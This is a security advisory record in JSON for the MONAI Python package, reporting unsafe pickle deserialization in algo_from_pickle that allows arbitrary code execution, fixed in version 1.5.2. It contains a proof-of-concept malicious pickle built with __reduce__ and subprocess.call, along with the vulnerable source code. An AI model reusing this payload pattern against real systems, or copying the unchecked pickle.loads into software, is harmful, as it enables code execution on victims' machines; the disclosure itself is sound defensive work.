{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "monai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T20:17:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.\n\n### Details\npoc\n```\nimport pickle\nimport subprocess\nclass MaliciousAlgo:\n    def __reduce__(self):\n        return (subprocess.call, ([\u0027calc.exe\u0027],))\nmalicious_algo_bytes = pickle.dumps(MaliciousAlgo())\n\nattack_data = {\n    \"algo_bytes\": malicious_algo_bytes,  \n     \n}\nattack_pickle_file = \"attack_algo.pkl\"\nwith open(attack_pickle_file, \"wb\") as f:\n    f.write(pickle.dumps(attack_data))\n\n```\nGenerate the malicious file \"attack_algo.pkl\" through POC.\n\n```\nfrom monai.auto3dseg.utils import algo_from_pickle\n\n\nattack_pickle_file = \"attack_algo.pkl\"\nresult = algo_from_pickle(attack_pickle_file)\n```\nUltimately, it will trigger pickle.load through a file to identify the command execution.\n\n\u003cimg width=\"909\" height=\"534\" alt=\"image\" src=\"https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f\" /\u003e\n\nCauses of the vulnerability:\n```\ndef algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -\u003e Any:\n\n    with open(pkl_filename, \"rb\") as f_pi:\n            data_bytes = f_pi.read()\n        data = pickle.loads(data_bytes)\n\n```\n\n\n\n### Impact\nArbitrary code execution\n\nRepair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method",
  "id": "GHSA-89gg-p5r5-q6r4",
  "modified": "2026-04-07T20:17:21Z",
  "published": "2026-04-07T20:17:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-89gg-p5r5-q6r4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Project-MONAI/MONAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/releases/tag/1.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MONAI: Unsafe functions lead to pickle deserialization rce"
}